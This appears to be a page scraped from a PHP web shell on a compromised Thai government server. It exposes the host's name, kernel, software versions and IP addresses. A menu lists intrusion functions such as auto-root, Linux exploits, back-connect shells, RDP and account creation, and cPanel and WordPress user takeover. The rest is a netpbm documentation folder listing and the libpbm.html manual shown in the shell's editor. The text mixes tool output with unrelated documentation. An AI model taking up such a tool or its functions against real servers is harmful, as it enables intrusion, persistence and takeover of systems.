Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
netpbm-10.47.05 /
userguide /
[ HOME SHELL ]
Name
Size
Permission
Action
411toppm.html
1.76
KB
-rw-r--r--
anytopnm.html
2.56
KB
-rw-r--r--
asciitopgm.html
2.4
KB
-rw-r--r--
atktopbm.html
945
B
-rw-r--r--
bioradtopgm.html
1.43
KB
-rw-r--r--
blend1.gif
18.25
KB
-rw-r--r--
blend3.gif
21.23
KB
-rw-r--r--
blend4.gif
24.56
KB
-rw-r--r--
blend6.gif
21.87
KB
-rw-r--r--
blend7.gif
26.28
KB
-rw-r--r--
bmptopnm.html
2.13
KB
-rw-r--r--
bmptoppm.html
562
B
-rw-r--r--
brushtopbm.html
953
B
-rw-r--r--
cameratopam.html
5.21
KB
-rw-r--r--
cistopbm.html
1.36
KB
-rw-r--r--
cmuwmtopbm.html
945
B
-rw-r--r--
ddbugtopbm.html
3.22
KB
-rw-r--r--
directory.html
32.33
KB
-rw-r--r--
escp2topbm.html
2.21
KB
-rw-r--r--
extendedopacity.html
6.7
KB
-rw-r--r--
eyuvtoppm.html
1.1
KB
-rw-r--r--
faxformat.html
3.66
KB
-rw-r--r--
fiascotopnm.html
6.04
KB
-rw-r--r--
fitstopnm.html
3.7
KB
-rw-r--r--
flatebug.png
32.86
KB
-rw-r--r--
fstopgm.html
1.95
KB
-rw-r--r--
g3topbm.html
4.36
KB
-rw-r--r--
gemtopbm.html
512
B
-rw-r--r--
gemtopnm.html
1.38
KB
-rw-r--r--
giftopnm.html
7.57
KB
-rw-r--r--
globe.jpg
14.04
KB
-rw-r--r--
gobot.gif
1.37
KB
-rw-r--r--
gouldtoppm.html
911
B
-rw-r--r--
hdifftopam.html
1.5
KB
-rw-r--r--
hipstopgm.html
1.03
KB
-rw-r--r--
hpcdtoppm.html
11.18
KB
-rw-r--r--
icontopbm.html
903
B
-rw-r--r--
ilbmtoppm.html
3.29
KB
-rw-r--r--
imgtoppm.html
1.03
KB
-rw-r--r--
index.html
41.28
KB
-rw-r--r--
infotopam.html
6.53
KB
-rw-r--r--
jbigtopnm.html
3.91
KB
-rw-r--r--
jpeg2ktopam.html
5.3
KB
-rw-r--r--
jpegtopnm.html
12.51
KB
-rw-r--r--
leaftoppm.html
1.1
KB
-rw-r--r--
liberror.html
8.46
KB
-rw-r--r--
libmaketmpfile.html
2.43
KB
-rw-r--r--
libmaketmpfilefd.html
1.72
KB
-rw-r--r--
libnetpbm.html
3.55
KB
-rw-r--r--
libnetpbm_dir.html
9.03
KB
-rw-r--r--
libnetpbm_draw.html
4.22
KB
-rw-r--r--
libnetpbm_image.html
23.34
KB
-rw-r--r--
libnetpbm_ug.html
10.79
KB
-rw-r--r--
libpbm.html
9.34
KB
-rw-r--r--
libpgm.html
7.63
KB
-rw-r--r--
libpm.html
16.81
KB
-rw-r--r--
libpnm.html
9.87
KB
-rw-r--r--
libppm.html
26.63
KB
-rw-r--r--
libsystem.html
14.36
KB
-rw-r--r--
libtmpfile.html
1.71
KB
-rw-r--r--
libtmpfilefd.html
1.3
KB
-rw-r--r--
lispmtopgm.html
1.94
KB
-rw-r--r--
macptopbm.html
1.87
KB
-rw-r--r--
manweb.html
9.26
KB
-rw-r--r--
mdatopbm.html
1.61
KB
-rw-r--r--
mgrtopbm.html
1.03
KB
-rw-r--r--
mrf.html
4.3
KB
-rw-r--r--
mrftopbm.html
1.54
KB
-rw-r--r--
mtvtoppm.html
1.04
KB
-rw-r--r--
neotoppm.html
1.18
KB
-rw-r--r--
palmtopnm.html
3.49
KB
-rw-r--r--
pam.html
11.75
KB
-rw-r--r--
pamaddnoise.html
3.96
KB
-rw-r--r--
pamarith.html
10.82
KB
-rw-r--r--
pambackground.html
4.85
KB
-rw-r--r--
pambayer.html
3.54
KB
-rw-r--r--
pamchannel.html
2.53
KB
-rw-r--r--
pamcomp.html
12.64
KB
-rw-r--r--
pamcut.html
6.69
KB
-rw-r--r--
pamdeinterlace.html
2.52
KB
-rw-r--r--
pamdepth.html
2.12
KB
-rw-r--r--
pamdice.html
4.52
KB
-rw-r--r--
pamditherbw.html
5.99
KB
-rw-r--r--
pamedge.html
2.24
KB
-rw-r--r--
pamendian.html
2.55
KB
-rw-r--r--
pamenlarge.html
2.18
KB
-rw-r--r--
pamfile.html
2.93
KB
-rw-r--r--
pamfixtrunc.html
3.12
KB
-rw-r--r--
pamflip.html
8.42
KB
-rw-r--r--
pamfunc.html
8.51
KB
-rw-r--r--
pamgauss.html
3.7
KB
-rw-r--r--
pamgradient.html
2.88
KB
-rw-r--r--
pamlookup.html
9.66
KB
-rw-r--r--
pammasksharpen.html
4.62
KB
-rw-r--r--
pammixinterlace.html
3.1
KB
-rw-r--r--
pamoil.html
2.36
KB
-rw-r--r--
pamperspective.html
17.28
KB
-rw-r--r--
pampick.html
2.35
KB
-rw-r--r--
pampop9.html
2.4
KB
-rw-r--r--
pamrgbatopng.html
2.26
KB
-rw-r--r--
pamscale.html
25.23
KB
-rw-r--r--
pamseq.html
2.77
KB
-rw-r--r--
pamsharpmap.html
2.38
KB
-rw-r--r--
pamsharpness.html
1.73
KB
-rw-r--r--
pamsistoaglyph.html
6.65
KB
-rw-r--r--
pamslice.html
4.2
KB
-rw-r--r--
pamsplit.html
2.8
KB
-rw-r--r--
pamstack.html
3.41
KB
-rw-r--r--
pamstereogram.html
10.08
KB
-rw-r--r--
pamstretch-gen.html
1.62
KB
-rw-r--r--
pamstretch.html
3.72
KB
-rw-r--r--
pamsumm.html
3.64
KB
-rw-r--r--
pamsummcol.html
4.1
KB
-rw-r--r--
pamthreshold.html
6.25
KB
-rw-r--r--
pamtilt.html
4.53
KB
-rw-r--r--
pamtodjvurle.html
1.78
KB
-rw-r--r--
pamtofits.html
4
KB
-rw-r--r--
pamtogif.html
13.12
KB
-rw-r--r--
pamtohdiff.html
3.32
KB
-rw-r--r--
pamtohtmltbl.html
2.71
KB
-rw-r--r--
pamtojpeg2k.html
8.36
KB
-rw-r--r--
pamtompfont.html
2.07
KB
-rw-r--r--
pamtooctaveimg.html
3.21
KB
-rw-r--r--
pamtopam.html
1.67
KB
-rw-r--r--
pamtopfm.html
3.1
KB
-rw-r--r--
pamtopnm.html
2.77
KB
-rw-r--r--
pamtosvg.html
7.02
KB
-rw-r--r--
pamtotga.html
4.42
KB
-rw-r--r--
pamtotiff.html
21.19
KB
-rw-r--r--
pamtouil.html
2.49
KB
-rw-r--r--
pamtoxvmini.html
1.09
KB
-rw-r--r--
pamundice.html
6.96
KB
-rw-r--r--
pamx.html
8.02
KB
-rw-r--r--
pbm.html
5.8
KB
-rw-r--r--
pbmclean.html
3.45
KB
-rw-r--r--
pbmlife.html
1
KB
-rw-r--r--
pbmmake.html
1.32
KB
-rw-r--r--
pbmmask.html
2.89
KB
-rw-r--r--
pbmminkowski.html
529
B
-rw-r--r--
pbmpage.html
2.84
KB
-rw-r--r--
pbmpscale.html
1.82
KB
-rw-r--r--
pbmreduce.html
2.29
KB
-rw-r--r--
pbmtext.html
9.38
KB
-rw-r--r--
pbmtextps.html
3.46
KB
-rw-r--r--
pbmto10x.html
1.37
KB
-rw-r--r--
pbmto4425.html
1.75
KB
-rw-r--r--
pbmtoascii.html
1.75
KB
-rw-r--r--
pbmtoatk.html
934
B
-rw-r--r--
pbmtobbnbg.html
1.32
KB
-rw-r--r--
pbmtocis.html
1.49
KB
-rw-r--r--
pbmtocmuwm.html
1.03
KB
-rw-r--r--
pbmtodjvurle.html
1.18
KB
-rw-r--r--
pbmtoepsi.html
3.24
KB
-rw-r--r--
pbmtoepson.html
3.11
KB
-rw-r--r--
pbmtoescp2.html
3.94
KB
-rw-r--r--
pbmtog3.html
2.24
KB
-rw-r--r--
pbmtogem.html
1.16
KB
-rw-r--r--
pbmtogo.html
1.24
KB
-rw-r--r--
pbmtoibm23xx.html
2.31
KB
-rw-r--r--
pbmtoicon.html
1005
B
-rw-r--r--
pbmtolj.html
3.34
KB
-rw-r--r--
pbmtoln03.html
1.45
KB
-rw-r--r--
pbmtolps.html
1.48
KB
-rw-r--r--
pbmtomacp.html
1.81
KB
-rw-r--r--
pbmtomatrixorbital.html
1.46
KB
-rw-r--r--
pbmtomda.html
1.75
KB
-rw-r--r--
pbmtomgr.html
1.03
KB
-rw-r--r--
pbmtomrf.html
1.4
KB
-rw-r--r--
pbmtonokia.html
3.28
KB
-rw-r--r--
pbmtopgm.html
2.47
KB
-rw-r--r--
pbmtopi3.html
1.11
KB
-rw-r--r--
pbmtopk.html
4.3
KB
-rw-r--r--
pbmtoplot.html
1.06
KB
-rw-r--r--
pbmtoppa.html
10.29
KB
-rw-r--r--
pbmtopsg3.html
1.8
KB
-rw-r--r--
pbmtoptx.html
1.05
KB
-rw-r--r--
pbmtowbmp.html
1.32
KB
-rw-r--r--
pbmtox10bm.html
631
B
-rw-r--r--
pbmtoxbm.html
1.49
KB
-rw-r--r--
pbmtoybm.html
1.13
KB
-rw-r--r--
pbmtozinc.html
1.11
KB
-rw-r--r--
pbmupc.html
1.91
KB
-rw-r--r--
pc1toppm.html
1.13
KB
-rw-r--r--
pcdindex.html
315
B
-rw-r--r--
pcdovtoppm.html
2.32
KB
-rw-r--r--
pcxtoppm.html
2.27
KB
-rw-r--r--
pfm.html
3.24
KB
-rw-r--r--
pfmtopam.html
1.89
KB
-rw-r--r--
pgm.html
6.86
KB
-rw-r--r--
pgmabel.html
3.27
KB
-rw-r--r--
pgmbentley.html
1.14
KB
-rw-r--r--
pgmcrater.html
6.58
KB
-rw-r--r--
pgmdeshadow.html
1.89
KB
-rw-r--r--
pgmedge.html
504
B
-rw-r--r--
pgmenhance.html
1.53
KB
-rw-r--r--
pgmhist.html
1.03
KB
-rw-r--r--
pgmkernel.html
2.26
KB
-rw-r--r--
pgmmake.html
1.72
KB
-rw-r--r--
pgmmedian.html
3.39
KB
-rw-r--r--
pgmminkowski.html
3.48
KB
-rw-r--r--
pgmmorphconv.html
3.87
KB
-rw-r--r--
pgmnoise.html
1.86
KB
-rw-r--r--
pgmnorm.html
504
B
-rw-r--r--
pgmoil.html
492
B
-rw-r--r--
pgmramp.html
2.7
KB
-rw-r--r--
pgmslice.html
478
B
-rw-r--r--
pgmtexture.html
2.16
KB
-rw-r--r--
pgmtofs.html
1.08
KB
-rw-r--r--
pgmtolispm.html
1.81
KB
-rw-r--r--
pgmtopbm.html
1.58
KB
-rw-r--r--
pgmtopgm.html
1.64
KB
-rw-r--r--
pgmtoppm.html
4.08
KB
-rw-r--r--
pi1toppm.html
1.17
KB
-rw-r--r--
pi3topbm.html
1.12
KB
-rw-r--r--
picttoppm.html
5.36
KB
-rw-r--r--
pjtoppm.html
1.27
KB
-rw-r--r--
pktopbm.html
2.04
KB
-rw-r--r--
pngtopam.html
8.02
KB
-rw-r--r--
pngtopnm.html
1.87
KB
-rw-r--r--
pnm.html
1.86
KB
-rw-r--r--
pnmalias.html
2.81
KB
-rw-r--r--
pnmarith.html
752
B
-rw-r--r--
pnmcat.html
2.42
KB
-rw-r--r--
pnmcolormap.html
8.08
KB
-rw-r--r--
pnmcomp.html
2.05
KB
-rw-r--r--
pnmconvol.html
11.35
KB
-rw-r--r--
pnmcrop.html
6.18
KB
-rw-r--r--
pnmcut.html
1000
B
-rw-r--r--
pnmdepth.html
840
B
-rw-r--r--
pnmenlarge.html
534
B
-rw-r--r--
pnmfile.html
509
B
-rw-r--r--
pnmflip.html
953
B
-rw-r--r--
pnmgamma.html
12.02
KB
-rw-r--r--
pnmhisteq.html
6.31
KB
-rw-r--r--
pnmhistmap.html
5.21
KB
-rw-r--r--
pnmindex.html
3.14
KB
-rw-r--r--
pnminterp.html
569
B
-rw-r--r--
pnminvert.html
1.27
KB
-rw-r--r--
pnmmargin.html
1.77
KB
-rw-r--r--
pnmmercator.html
5.44
KB
-rw-r--r--
pnmmontage.html
4.49
KB
-rw-r--r--
pnmnlfilt.html
7.24
KB
-rw-r--r--
pnmnoraw.html
751
B
-rw-r--r--
pnmnorm.html
10.82
KB
-rw-r--r--
pnmpad.html
4.78
KB
-rw-r--r--
pnmpaste.html
3.63
KB
-rw-r--r--
pnmpsnr.html
2.1
KB
-rw-r--r--
pnmquant.html
2.39
KB
-rw-r--r--
pnmremap.html
10.68
KB
-rw-r--r--
pnmrotate.html
4.94
KB
-rw-r--r--
pnmscale.html
1.01
KB
-rw-r--r--
pnmscalefixed.html
2.66
KB
-rw-r--r--
pnmshear.html
3.81
KB
-rw-r--r--
pnmsmooth.html
3.24
KB
-rw-r--r--
pnmsplit.html
676
B
-rw-r--r--
pnmstitch.html
4.03
KB
-rw-r--r--
pnmtile.html
1.4
KB
-rw-r--r--
pnmtoddif.html
2.26
KB
-rw-r--r--
pnmtofiasco.html
10.94
KB
-rw-r--r--
pnmtofits.html
495
B
-rw-r--r--
pnmtojbig.html
9.61
KB
-rw-r--r--
pnmtojpeg.html
21.33
KB
-rw-r--r--
pnmtopalm.html
9.55
KB
-rw-r--r--
pnmtopclxl.html
6
KB
-rw-r--r--
pnmtoplainpnm.html
733
B
-rw-r--r--
pnmtopng.html
17.96
KB
-rw-r--r--
pnmtopnm.html
2.51
KB
-rw-r--r--
pnmtops.html
15.06
KB
-rw-r--r--
pnmtorast.html
1.53
KB
-rw-r--r--
pnmtorle.html
3.25
KB
-rw-r--r--
pnmtosgi.html
1.96
KB
-rw-r--r--
pnmtosir.html
1.14
KB
-rw-r--r--
pnmtotiff.html
495
B
-rw-r--r--
pnmtotiffcmyk.html
7.16
KB
-rw-r--r--
pnmtoxwd.html
1.69
KB
-rw-r--r--
ppm.html
6.75
KB
-rw-r--r--
ppm3d.html
4.3
KB
-rw-r--r--
ppmbrighten.html
5.67
KB
-rw-r--r--
ppmchange.html
5.5
KB
-rw-r--r--
ppmcie.html
13.67
KB
-rw-r--r--
ppmcolormask.html
3.95
KB
-rw-r--r--
ppmcolors.html
497
B
-rw-r--r--
ppmdcfont.html
1.63
KB
-rw-r--r--
ppmddumpfont.html
1.11
KB
-rw-r--r--
ppmdim.html
1.34
KB
-rw-r--r--
ppmdist.html
2.07
KB
-rw-r--r--
ppmdither.html
2.05
KB
-rw-r--r--
ppmdmkfont.html
1.26
KB
-rw-r--r--
ppmdraw.html
8.33
KB
-rw-r--r--
ppmfade.html
4.86
KB
-rw-r--r--
ppmflash.html
2.04
KB
-rw-r--r--
ppmforge.html
16.43
KB
-rw-r--r--
ppmglobe.html
4.93
KB
-rw-r--r--
ppmhist.html
4.72
KB
-rw-r--r--
ppmlabel.html
5.82
KB
-rw-r--r--
ppmmake.html
1.9
KB
-rw-r--r--
ppmmix.html
1.35
KB
-rw-r--r--
ppmnorm.html
538
B
-rw-r--r--
ppmntsc.html
3.06
KB
-rw-r--r--
ppmpat.html
2.65
KB
-rw-r--r--
ppmquant.html
2.82
KB
-rw-r--r--
ppmquantall.html
2.16
KB
-rw-r--r--
ppmrainbow.html
3.37
KB
-rw-r--r--
ppmrelief.html
1.25
KB
-rw-r--r--
ppmrough.html
4.88
KB
-rw-r--r--
ppmshadow.html
10.07
KB
-rw-r--r--
ppmshift.html
2.4
KB
-rw-r--r--
ppmspread.html
1.37
KB
-rw-r--r--
ppmsvgalib.html
4.55
KB
-rw-r--r--
ppmtoacad.html
5.64
KB
-rw-r--r--
ppmtoarbtxt.html
5.09
KB
-rw-r--r--
ppmtobmp.html
3.99
KB
-rw-r--r--
ppmtoeyuv.html
1.28
KB
-rw-r--r--
ppmtogif.html
2.63
KB
-rw-r--r--
ppmtoicr.html
3.77
KB
-rw-r--r--
ppmtoilbm.html
5.25
KB
-rw-r--r--
ppmtojpeg.html
590
B
-rw-r--r--
ppmtoleaf.html
1.15
KB
-rw-r--r--
ppmtolj.html
1.97
KB
-rw-r--r--
ppmtomap.html
1.12
KB
-rw-r--r--
ppmtomitsu.html
4.1
KB
-rw-r--r--
ppmtompeg-par.gif
36.52
KB
-rw-r--r--
ppmtompeg-snr.gif
2.3
KB
-rw-r--r--
ppmtompeg.html
45.06
KB
-rw-r--r--
ppmtoneo.html
1.18
KB
-rw-r--r--
ppmtopcx.html
5.92
KB
-rw-r--r--
ppmtopgm.html
2.09
KB
-rw-r--r--
ppmtopi1.html
1.14
KB
-rw-r--r--
ppmtopict.html
1.67
KB
-rw-r--r--
ppmtopj.html
2.89
KB
-rw-r--r--
ppmtopjxl.html
3.02
KB
-rw-r--r--
ppmtoppm.html
1.8
KB
-rw-r--r--
ppmtopuzz.html
1.17
KB
-rw-r--r--
ppmtorgb3.html
1.55
KB
-rw-r--r--
ppmtosixel.html
2.67
KB
-rw-r--r--
ppmtoterm.html
2.79
KB
-rw-r--r--
ppmtotga.html
541
B
-rw-r--r--
ppmtouil.html
395
B
-rw-r--r--
ppmtowinicon.html
3.96
KB
-rw-r--r--
ppmtoxpm.html
6.95
KB
-rw-r--r--
ppmtoyuv.html
2.84
KB
-rw-r--r--
ppmtoyuvsplit.html
1.92
KB
-rw-r--r--
ppmtv.html
1.58
KB
-rw-r--r--
ppmwheel.html
1.84
KB
-rw-r--r--
psidtopgm.html
1.88
KB
-rw-r--r--
pstopnm.html
13.03
KB
-rw-r--r--
qrttoppm.html
982
B
-rw-r--r--
rasttopnm.html
1.26
KB
-rw-r--r--
rawtopgm.html
5.19
KB
-rw-r--r--
rawtoppm.html
2.98
KB
-rw-r--r--
rgb3toppm.html
1.27
KB
-rw-r--r--
rlatopam.html
1.34
KB
-rw-r--r--
rletopnm.html
3.79
KB
-rw-r--r--
sbigtopgm.html
1.3
KB
-rw-r--r--
sgitopnm.html
2.02
KB
-rw-r--r--
sirtopnm.html
1.22
KB
-rw-r--r--
sldtoppm.html
5.89
KB
-rw-r--r--
spctoppm.html
1.08
KB
-rw-r--r--
spottopgm.html
2.62
KB
-rw-r--r--
sputoppm.html
1.09
KB
-rw-r--r--
testimg.png
48.11
KB
-rw-r--r--
testimg_histbar.png
1.08
KB
-rw-r--r--
testimg_histdot.png
1014
B
-rw-r--r--
tgatoppm.html
2.12
KB
-rw-r--r--
thinkjettopbm.html
1.75
KB
-rw-r--r--
tifftopnm.html
13.08
KB
-rw-r--r--
vidtoppm.html
755
B
-rw-r--r--
wbmptopbm.html
1.31
KB
-rw-r--r--
winicontoppm.html
2.64
KB
-rw-r--r--
xbmtopbm.html
1.04
KB
-rw-r--r--
ximtoppm.html
2.14
KB
-rw-r--r--
xpmtoppm.html
2.62
KB
-rw-r--r--
xvminitoppm.html
1.38
KB
-rw-r--r--
xwdtopnm.html
4.34
KB
-rw-r--r--
ybmtopbm.html
1.12
KB
-rw-r--r--
yuvsplittoppm.html
1.68
KB
-rw-r--r--
yuvtoppm.html
1.54
KB
-rw-r--r--
zeisstopnm.html
1.33
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : libpbm.html
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN"> <HTML> <HEAD> <TITLE>User manual for old pbm functions</TITLE> <META NAME="manual_section" CONTENT="3"> </HEAD> <BODY> <H1>pbm Functions</H1> Updated: 8 September 2007 <BR> <A HREF="#index">Table Of Contents</A> <H2>NAME</H2> libpbm - libnetpbm functions to read and write PBM image files <H2 id="synopsis">SYNOPSIS</H2> <B>#include <netpbm/pbm.h></B> <P> <B>bit **pbm_allocarray(int</B> <I>cols</I><B>, int </B><I>rows</I><B>);</B> <P> <B>bit *pbm_allocrow(int</B> <I>cols</I><B>);</B> <P> <B>pbm_freearray(bit </B> <B>**</B><I>bits</I><B>, int </B><I>rows</I><B>);</B> <P> <B>pbm_freerow(bit</B> <B>*</B><I>bitrow</I><B>);</B> <P> <B>void pbm_readpbminit(FILE *</B> <I>fp</I><B>, int *</B><I>colsP</I><B>, int *</B><I>rowsP</I><B>, int *</B><I>formatP</I><B>);</B> <P> <B>void pbm_readpbmrow(FILE *</B> <I>fp</I><B>, bit *</B><I>bitrow</I><B>, int </B><I>cols</I><B>, int </B><I>format</I><B>);</B> <P> <B>void pbm_readpbmrow_packed(FILE *</B> <I>fp</I><B>,</B> <BR> <B>unsigned char * const </B><I>packed_bits</I><B>,</B> <B>const int </B><I>cols</I><B>,</B> <B>const int </B><I>format</I><B>);</B> <P> <B>void bit** pbm_readpbm(FILE *</B> <I>fp</I><B>, int *</B><I>colsP</I><B>, int *</B><I>rowsP</I><B>);</B> <P> <B>void pbm_writepbminit(FILE *</B> <I>fp</I><B>, int </B><I>cols</I><B>, int </B><I>rows</I><B>, int </B><I>forceplain</I><B>);</B> <P> <B>void pbm_writepbmrow(FILE *</B> <I>fp</I><B>, bit *</B><I>bitrow</I><B>, int </B><I>cols</I><B>, int </B><I>forceplain</I><B>);</B> <P> <B>void pbm_writepbmrow_packed(FILE *</B> <I>fp</I><B>,</B> <BR> <B>unsigned char * const </B><I>packed_bits</I><B>,</B> <B>const int </B><I>cols</I><B>,</B> <B>const int </B><I>forceplain</I><B>);</B> <P> <B>void pbm_writepbm(FILE *</B> <I>fp</I><B>, bit **</B><I>bits</I><B>, int </B><I>cols</I><B>, int </B><I>rows</I><B>, int </B><I>forceplain</I><B>);</B> <P> <B>#define pbm_packed_bytes(</B><I>cols</I><B>) ...</B> <P> <B>void pbm_nextimage(</B> <B>FILE *</B><I>file</I><B>,</B> <B>int * const </B><I>eofP</I><B>);</B> <P> <B>void pbm_check(</B> <B>FILE * </B><I>file</I><B>,</B> <B>const enum pm_check_type </B><I>check_type</I><B>,</B> <B>const int </B><I>format</I><B>,</B> <B>const int </B><I>cols</I><B>,</B> <B>const int </B><I>rows</I><B>,</B> <B>enum pm_check_code * const </B><I>retval</I><B>);</B> <H2 id="description">DESCRIPTION</H2> <p>These library functions are part of <a href="index.html">Netpbm</a>. <H3 id="types">TYPES AND CONSTANTS</H3> <B>typedef ... bit;</B> <P> <B>#define PBM_WHITE ...</B> <P> <B>#define PBM_BLACK ...</B> <P>Each <B>bit</B> should contain only the values of <B>PBM_WHITE</B> or <B>PBM_BLACK</B>. <P><B>#define PBM_FORMAT ...</B> <P><B>#define RPBM_FORMAT ...</B> <P><B>#define PBM_TYPE PBM_FORMAT</B> <P><B>#define </B> <B>PBM_FORMAT_TYPE(</B><I>f</I><B>) ...</B> <P>These are for distinguishing different file formats and types. <H3 id="initialization">INITIALIZATION</H3> <P><b>pbm_init()</b> is identical to <b>pm_proginit</b>. <p><b>pbm_init()</b> is obsolete. Use <b>pm_proginit()</b> instead. <H3 id="memorymanagement">MEMORY MANAGEMENT</H3> <B>pbm_allocarray()</B> allocates an array of bits. <B>pbm_allocrow()</B> allocates a row of the given number of bits. <B>pbm_freearray()</B> frees the array allocated with <B>pbm_allocarray()</B> containing the given number of rows. <B>pbm_freerow()</B> frees a row of bits. <H3 id="reading">READING PBM IMAGE FILES</H3> <P><B>pbm_readpbminit()</B> reads the header from a PBM image in a PBM file, filling in the rows, cols and format variables. <B>pbm_readpbmrow()</B> reads a row of bits into the <I>bitrow </I> array. Format and cols were filled in by <B>pbm_readpbminit()</B>. <B>pbm_readpbmrow_packed()</B> is like <B>pbm_readpbmrow()</B> except instead of returning a <B>bits</B> array, it returns an array <I>packed_bits</I> of bytes with the pixels of the image row packed into them. The pixels are in order from left to right across the row and from the beginning of the array to the end. Within a byte, the bits are in order from the most significant bit to the least significant bit. If the number of pixels in the row is not a multiple of 8, the last byte returned is padded on the least signficant bit side with undefined bits. White is represented by a <B>PBM_WHITE</B> bit; black by <B>PBM_BLACK</B>. <P><B>pbm_readpbm()</B> reads an entire bitmap file into memory, returning the allocated array and filling in the rows and cols variables. This function combines <B>pbm_readpbminit()</B>, <B>pbm_allocarray()</B> and <B>pbm_readpbmrow()</B>. <p><b>pbm_readpbminit()</b> and <b>pbm_readpbm</b> abort the program with a message to Standard Error if the PBM image header is not syntactically valid, including if it contains a number too large to be processed using the system's normal data structures (to wit, a number that won't fit in a C 'int'). <p><b>ppm_readppminit()</b> and <b>ppm_readppm</b> abort the program with a message to Standard Error if the PPM image header is not syntactically valid, including if it contains a number too large to be processed using the system's normal data structures (to wit, a number that won't fit in a C 'int'). <H3 id="writing">WRITING PBM IMAGE FILES</H3> <B>pbm_writepbminit()</B> writes the header for a PBM image in a PBM file. <I>forceplain</I> is a boolean value specifying that a plain format (text) file to be written, as opposed to a raw format (binary) one. <B>pbm_writepbmrow()</B> writes a row to a PBM file. <B>pbm_writepbmrow_packed()</B> is the same as <B>pbm_writepbmrow()</B> except that you supply the row to write as an array of bytes packed with bits instead of as a <B>bits</B> array. The format of <I>packed_bits </I> is the same as that returned by <B>pbm_readpbmrow()</B>. <P><B>pbm_writepbm()</B> writes the header and all data for a PBM image to a PBM file. This function combines <B>pbm_writepbminit()</B> and <B>pbm_writepbmrow()</B>. <H3 id="miscellaneous">MISCELLANEOUS</H3> <P><B>pbm_nextimage()</B> positions a PBM input file to the next image in it (so that a subsequent <B>pbm_readpbminit()</B> reads its header). <P>Immediately before a call to <B>pbm_nextimage()</B>, the file must be positioned either at its beginning (i.e. nothing has been read from the file yet) or just after an image (i.e. as left by a <B>pbm_readpbmrow() </B> of the last row in the image). <p>Note that in the raw PNM and PAM format, the next image always starts immediately after the previous image, so all <b>pbm_nextimage()</b> really does is test whether there is a next image or the file is positioned at end-of-file. In plain PNM, though, there may be white space between images. <P>If <B>pbm_nextimage() </B> successfully positions to the next image, it returns <B>*</B><I>eofP</I> false (0). If there is no next image in the file, it returns <B>*</B><I>eofP</I> true . If it can't position or determine the file status due to a file error, it <a href="liberror.html#error">throws an error</a>. <P><B>pbm_check()</B> checks for the common file integrity error where the file is the wrong size to contain all the image data. <B>pbm_check()</B> assumes the file is positioned after an image header (as if <B>pbm_readpbminit() </B> was the last operation on the file). It checks the file size to see if the number of bytes left in the file are the number required to contain the image raster. If the file is too short, <B>pbm_check()</B> causes the program t <a href="liberror.html#error">throws an error</a>. Otherwise, it returns one of the following values (enumerations of the <B>enum pm_check_code</B> type) as <B>*</B><I>retval</I>: <DL COMPACT> <DT><B>PM_CHECK_OK</B> <DD>The file's size is exactly what is required to hold the image raster. <DT><B>PM_CHECK_UNKNOWN_TYPE</B> <DD><I>format</I> is not a format whose size <B>pbm_check()</B> can anticipate. The only format with which <B>pbm_check()</B> can deal is raw PBM format. <DT><B>PM_CHECK_TOO_LONG</B> <DD>The file is longer than it needs to be to contain the image raster. The extra data might be another image. <DT><B>PM_CHECK_UNCHECKABLE</B> <DD>The file is not a kind that has a predictable size, so there is no simple way for <B>pbm_check()</B> to know if it is the right size. Only a regular file has predictable size. A pipe is a common example of a file that does not. </DL> <P><I>check_type</I> must have the value <B>PM_CHECK_BASIC </B> (an enumerated value of the <B>pm_check_type</B> enumerated type). Otherwise, the effect of <B>pbm_check()</B> is unpredictable. This argument exists for future backward compatible expansion of the function of <B>pbm_check()</B>. <H2 id="seealso">SEE ALSO</H2> <B><A HREF="libpgm.html">libpgm</A></B>, <B><A HREF="libppm.html">libppm</A></B>, <B><A HREF="libpnm.html">libpnm</A></B>, <B><A HREF="pbm.html">pbm</A></B> <H2 id="author">AUTHOR</H2> Copyright (C) 1989, 1991 by Tony Hansen and Jef Poskanzer. <HR> <H2 id="index">Table Of Contents</H2> <UL> <LI><A HREF="#synopsis">SYNOPSIS</A> <LI><A HREF="#description">DESCRIPTION</A> <UL> <LI><A HREF="#types">TYPES AND CONSTANTS</A> <LI><A HREF="#initialization">INITIALIZATION</A> <LI><A HREF="#memorymanagement">MEMORY MANAGEMENT</A> <LI><A HREF="#reading">READING PBM IMAGE FILES</A> <LI><A HREF="#writing">WRITING PBM IMAGE FILES</A> <LI><A HREF="#miscellaneous">MISCELLANEOUS</A> </UL> <LI><A HREF="#seealso">SEE ALSO</A> <LI><A HREF="#author">AUTHOR</A> </UL> </BODY> </HTML>
Close